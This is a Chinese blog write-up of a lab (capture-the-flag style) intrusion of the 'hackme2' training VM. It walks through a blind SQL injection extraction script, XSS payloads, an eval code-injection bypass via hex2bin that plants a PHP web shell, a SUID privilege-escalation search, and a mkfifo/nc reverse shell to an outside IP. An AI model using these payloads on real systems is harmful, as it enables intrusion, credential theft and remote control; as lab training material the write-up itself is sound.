hackme2靶场刷题记录

写在前面

最近看到貌似有些靶机挺好玩的 下了个靶机来玩一下

nmap扫一下端口

在这里插入图片描述
扫到了 直接进入

渗透开始!

在这里插入图片描述

登陆后的sql注入

猜测 search 有sql注入
sqlmap简单梭以下 没啥反应。。。
回过头来手工fuzz一下 nb 666 我的宝贝
在这里插入图片描述
好了 直接快进到爆库
现在想想 可能是这回显 sqlmap看不懂。。。

从fuzz的结果看出来 首先是单引号闭合

我们利用以下方法来注入

OSINT' and (命令)#
OSINT' and (length(database())>8)#

直接写个脚本爆库名 解决一下大小写问题?

sql = 'select group_concat(schema_name) from information_schema.schemata'
sql = sql.replace(" ","/**/")
target = ""
for i in range(1,100):
    for j in range(65,123):
        payload = "OSINT'/**/and/**/ord(substr(({}),{},1))='{}'#".format(sql,i,j)
        res = requests.post(url=url,data={"search":payload},cookies=cookies)
        # print(payload)
        if "OSINT" in res.text:
            target += chr(j)

print(target)

这里是真的狗!
中间要加 /**/ 不然出不来!

payload = "OSINT' and (substr((SELECT/**/version()),{},1)='{}')#".format(i,chr(j))

改进一下 把大小写区分开(我本机的环境 就用复杂的脚本 咱就是横!

payload

sql = "select group_concat(user) from webapphacking.users limit 0,1"
#select group_concat(column_name) from information_schema.columns where table_schema = 'webapphacking' and table_name = 'users' limit 0,1
#id    user    pasword    name    address
sql = sql.replace(" ","/**/")
#select user from users limit 0,1
#被过滤了·?
#换句话?
target = ""
for i in range(0,200):
    for j in range(44,123):
        payload = "OSINT'/**/and/**/ord(substr(({}),{},1))='{}'#".format(sql,i,j)
        res = requests.post(url=url,data={"search":payload},cookies=cookies)
        # print(payload)
        if "OSINT" in res.text:
            target += chr(j)
            print(target)
#user1 5d41402abc4b2a76b9719d911017c592
print(target)

#user1,user2,user3,test,superadmin,test1
#5d41402abc4b2a76b9719d911017c592,6269c4f71a55b24bad0f0267d9be5508,0f359740bd1cda994f8b55330c86d845,05a671c66aefea124cc08b76ea6d30bb,2386acb2cf356944177746fc92523983,05a671c66aefea124cc08b76ea6d30bb,
#superadmin Uncrackable


#user1,user2,user3,test,superadmin,test1,admin
#David,Beckham,anonymous,testismyname,superadmin,test1,b1ue0cean


#NewtonCircles,Kensington,anonymous,testaddress,superadmin,test1,hcakyou.icu
有回显的注入

在这里插入图片描述
应该是可以回显注入的呀
构造一下payload?

那下面这些去打都可以出结果 这是什么神仙sql?(还是我太菜 不管了反正日出来了

or
or 1=2
or 1=1
' or 1=1 or 'x'='x

XSS漏洞

回到登录框 看看这边有没有什么搞头
直接bp扫描器一开
在这里插入图片描述
直接扫出了一个xss是我没想到的

payload

username=admint807c%22%3e%3cscript%3ealert(1)%3c%2fscript%3eoqu8p&password=password
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Login</title>
    <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.css">
    <style type="text/css">
        body{ font: 14px sans-serif; }
        .wrapper{ width: 350px; padding: 20px; }
    </style>
</head>
<body>
    <div class="wrapper">
        <h2>Login</h2>
        <p>Please fill in your credentials to login.</p>
        <form action="/login.php" method="post">
            <div class="form-group ">
                <label>Username</label>
                <input type="text" name="username" class="form-control" value="">
                <span class="help-block"></span>
            </div>    
            <div class="form-group ">
                <label>Password</label>
                <input type="password" name="password" class="form-control">
                <span class="help-block"></span>
            </div>
            <div class="form-group">
                <input type="submit" class="btn btn-primary" value="Login">
            </div>
            <p>Don't have an account? <a href="register.php">Sign up now</a>.</p>
        </form>
    </div>    
</body>
</html>

那么问题来了 怎么拿管理员cookie?
好像不太好利用?

来看看改密码有没有什么洞?

注册时的漏洞

注册有什么洞?

登录时是否存在sql注入?

关于 sql 注入 我们来理解一下登录的逻辑
如果我们只输密码的话 那么会先检验是否存在这个 账户
因此可以先测一波 用户名是否存在注入?
盲猜一波数据库语句(大概)

 select password from users where username = "admin"; 

如果没找到会返回没找到

搞点其他的 我们能不能利用这fuzz一下 看看还有哪些账户?
一个都没搞出来?可能是bp自带的usernames字典太拉

总而言之 最后总是要核对password的 那么直接fuzz一波password

没搞出来什么头绪 先放一放了

拿到管理员权限

文件上传漏洞

拿到管理员权限 之后是个文件上传漏洞 直接上传phtml文件
但是不知道文件上传路径 直接扫后台目录

[20:09:49] 301 -  320B  - /uploads  ->  http://192.168.186.129/uploads/

发现后跳转?
但是访问不了???

卡住了 不知道路径
看一下 下面的功能

SSTI

POST /welcomeadmin.php/welcomeadmin.php HTTP/1.1
Host: 192.168.186.129
fname=121&lname=2112&search=Search+User

能搞出来啥东西?
数据库都知道了
回去再看看?数据库里有name 爆出来看看

在这里插入图片描述

之后怎么搞。。。
不会再来个注入吧 那我心态炸了呀

换个号登录试试?
没屁用

再拿bp扫一下 结果又扫出来一个xss和一个csrf?
那么能不能用xss把文件上传的路径给带出来?
(又找到了个没卵用的xss。。。

应该突破口就是底下那个没完成的东西了
不会是模板注入吧。。。

竟然真的是模板注入(呜呜呜 欲哭无泪 卡了好长时间
在这里插入图片描述
不会能命令执行吧。。。。
在这里插入图片描述
呜呜呜 太不容易了(虽然很简单 但我菜的要死!!!

但貌似过滤了空格?貌似有长度限制???
写个脚本 每次这么填太麻烦!

貌似还是有些过滤的 不过很好绕!

试了半天 我靠。。只能第一层读文件 不知道咋过滤的

!读一下本页面php不就行了(我是**

import requests
url = "http://192.168.186.129/welcomeadmin.php/welcomeadmin.php/"
cookie = {"PHPSESSID":"3r732mjutcs1milos1j263mneg"}


#more<>login.php
payload = "`cat<>welcomeadmin.php`"

#search=Search+User
data = {"fname":"fuck","lname":payload,"search":"&search=Search+User"}
res = requests.post(url=url,cookies=cookie,data=data)
print(res.text)
<?php

// Initialize the session

session_start();
 
// Check if the user is logged in, if not then redirect him to login page
if(!isset($_SESSION["loggedin"]) || $_SESSION["loggedin"] !== true){
    header("location: login.php");
    exit;
}


?>
 
 
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Welcome</title>
    <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.css">
    <style type="text/css">
        body{ font: 14px sans-serif; text-align: center; }
    </style>
</head>
<body>
    <div class="page-header">
        <h1>Hi, welcome back <b><?php echo htmlspecialchars($_SESSION["name"]); ?></b>. There are no anomalies detected.</h1>
	<p>
        <a href="reset-password.php" class="btn btn-warning">Reset Your Password</a>
        <a href="logout.php" class="btn btn-danger">Sign Out of Your Account</a>
	</p>
    </div>
	Select Image to Upload:
	<form align="center" action="welcomeadmin.php" method="post" enctype="multipart/form-data">
    <input type="file" name="fileToUpload" id="fileToUpload">
    <input type="submit" value="Upload Image" name="submit">
	</form>

</br>
<?php
$target_dir = "/var/www/html/uploads/year2020/";
$target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
$uploadOk = 1;
$imageFileType = strtolower(pathinfo($target_file,PATHINFO_EXTENSION));
// Check if image file is a actual image or fake image
if(isset($_POST["submit"])) {
    $check = getimagesize($_FILES["fileToUpload"]["tmp_name"]);
//    if($check !== false) {
//        echo "File is an image - " . $check["mime"] . ".";
//        $uploadOk = 1;
//    } else {
//        echo "File is not an image.";
//        $uploadOk = 0;
//    }
}
// Check if file already exists
if (file_exists($target_file)) {
    echo "Sorry, file already exists.";
    $uploadOk = 0;
}
// Check file size
if ($_FILES["fileToUpload"]["size"] > 500000) {
    echo "Sorry, your file is too large.";
    $uploadOk = 0;
}
// whitelist
//if($imageFileType != "jpg" && $imageFileType != "png" && $imageFileType != "jpeg"
//&& $imageFileType != "gif" ) {
//    echo "Sorry, only JPG, JPEG, PNG & GIF files are allowed.";
//    $uploadOk = 0;
//}
//blacklist
if($imageFileType == "html" || $imageFileType == "js" || $imageFileType=="php" || $imageFileType=="php3" || $imageFileType=="php4" || $imageFileType=="php5") {
    echo "Sorry, only JPG, JPEG, PNG & GIF files are allowed.";
    $uploadOk = 0;
}

// Check if $uploadOk is set to 0 by an error
if ($uploadOk == 0) {
    echo "Sorry, your file was not uploaded.";
// if everything is ok, try to upload file
} else {
    if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
        echo "The file ". basename( $_FILES["fileToUpload"]["name"]). " has been uploaded to the uploads folder.";
    } else {
        echo "Sorry, there was an error uploading your file.";
    }
}
?>

</br>
</br>
</br>
</br>
</br>
	This is a feature still undergoing testing.
	You can search for users activity here:
	<form action="welcomeadmin.php" method="post">
		</br>
		First Name:<input type="text" name="fname" id="fname">
		</br>
		Last Name: <input type="text" name="lname" id="lname">
		</br>
		</br>
		<input type="submit" value="Search User" name="search">
	</form>
</br>
<?php
	$fname = $_POST["fname"];
	$lname = $_POST["lname"];
	$lname = preg_replace('/[;\s]/','',$lname);
	if($fname=="" || $fname==" " || $lname=="" || $lname==" "){
		echo "You have to search with both First and Last name";
	}else{
		echo "The system is checking the backend for user: ".$fname ." ".$lname." ";
		echo "</br>";
		echo "</br>";
		echo "User ". $fname. " ";
		eval("echo ".$lname.";");
		echo " cannot be found";

	}
?>
 cannot be found

这下把源码都搞出来了 很好!
直接看关键部分

<?php
	$fname = $_POST["fname"];
	$lname = $_POST["lname"];
	$lname = preg_replace('/[;\s]/','',$lname);
	if($fname=="" || $fname==" " || $lname=="" || $lname==" "){
		echo "You have to search with both First and Last name";
	}else{
		echo "The system is checking the backend for user: ".$fname ." ".$lname." ";
		echo "</br>";
		echo "</br>";
		echo "User ". $fname. " ";
		eval("echo ".$lname.";");
		echo " cannot be found";

	}
?>

把 ;ban了。。。 包括空格、换行、tab缩进等所有的空白

我们能不能利用hex2bin来绕过?
可。。
我真tm是个天才(我是** 这么长时间才做到这。。。

echo hex2bin('73797374656d28276c732075706c6f61647327293b');

直接读文件?读了一下 可能确实没传进去
能不能直接写shell进去?
trytry

我们打算

echo "<?php eval($_POST[cmd]);" > ./uploads/fuck.php
payload = "eval(hex2bin('6563686f20223c3f706870206576616c28245f504f53545b636d645d293b22203e2075706c6f6164732f6675636b2e706870'))"

没写进去?

改进以下脚本 发现早就写进去了。。。只不过多了个 /year2020
我想死。。。

import requests

def asciihex(str):
    res = ""
    for i in str:
        res += hex(ord(i))[-2:]
    return res


url = "http://192.168.186.129/welcomeadmin.php/welcomeadmin.php/"
cookie = {"PHPSESSID":"3r732mjutcs1milos1j263mneg"}

exp = asciihex('cat ./uploads/year2020/hack.phtml')
payload = "eval(system(hex2bin('{}')).hex2bin('3b'))".format(exp)

#search=Search+User
data = {"fname":"fuck","lname":payload,"search":"&search=Search+User"}
res = requests.post(url=url,cookies=cookie,data=data)
print(res.text)

提权!

find / -perm -u=s -type f 2>/dev/null

发现有一个文件可以提权!
但是有个问题。。。
yijian好像不接受提权。。。

所以还是要乖乖反弹shell

发现不能用 nc -e 哭了。。。什么垃圾靶机
学习了一下 别人的payload

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 8.135.132.214 9999 >/tmp/f

在别的机子上就可运行 sudo (也不知道为啥
贴一篇P神文章
https://www.leavesongs.com/PENETRATION/linux-suid-privilege-escalation.html

总结

不足:
1.虽然是一台很简单的机子 搞了大半天才搞完 发现 自己在实战时的经验不足 导致一些小坑不能很快处理
2.对漏洞不敏感 不能很快找到思路(要继续多练习
3.对一些基本操作 会用 —》 熟练

一丢丢优点:坚持自己做完了这个靶场。。(除了最后的nc 貌似机子也有一些毛病。。咳咳

收获:
1.对基本漏洞的熟悉
2.意外收获(几个xss的发现 并不是说他们对解题多重要 而是认识到了哪里可能有xss
3.一直破解的 喜悦感!!!

暑假还很长 b1ue0cean 继续努力吧! 希望能近W&M (虽然呆在V&N也挺好的 好耶

最最最最最后

菜菜 求大佬带带 呜呜呜

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值